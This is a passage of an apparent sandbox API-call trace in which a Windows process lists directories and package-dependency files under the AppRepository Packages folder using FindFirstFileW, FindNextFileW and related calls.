users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9280fbf2, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdc26d7fb, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xdc26d7fb, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.882] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x73 [0214.882] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924a261b, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x924a261b, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xdbcea0c6, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.885] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x73 [0214.885] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924a261b, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdbcea0c6, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xdbcea0c6, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.888] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x90 [0214.888] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x896f96af, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x896f96af, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89dd42cb, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.901] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x90 [0214.901] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x896f96af, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x896f96af, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89dd42cb, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.904] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8c [0214.904] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x556c62fa, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x556ec56b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x55a33970, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.081] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8c [0215.082] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x556c62fa, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x556ec56b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x55a33970, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.084] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8f [0215.085] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a593c72, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8aa0c37c, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8aa0c37c, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.085] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8f [0215.085] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a593c72, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8aa0c37c, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8aa0c37c, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.086] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x7c [0215.086] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fafc297, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6083f384, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6083f384, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.087] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fafc297, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6083f384, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6083f384, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.087] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6083f384, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6083f384, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6083f384, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x7c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.087] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fc07471, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5fc07471, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5fc07471, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.087] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.088] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.088] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x7c [0215.088] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fafc297, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6083f384, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6083f384, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.088] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fafc297, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6083f384, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6083f384, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.089] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6083f384, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6083f384, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6083f384, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x7c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.089] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fc07471, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5fc07471, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5fc07471, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.089] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fc07471, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5fc07471, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5fc07471, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0215.089] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.090] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8b [0215.090] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bb7b61b, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8bb7b61b, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x942c8d86, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.098] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bb7b61b, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8bb7b61b, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x942c8d86, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.098] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x942c8d86, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x942c8d86, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x942eedf4, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.098] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bba1947, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8bba1947, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8bba1947, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.098] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.099] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.100] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8b [0215.100] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bb7b61b, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8bb7b61b, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x942c8d86, 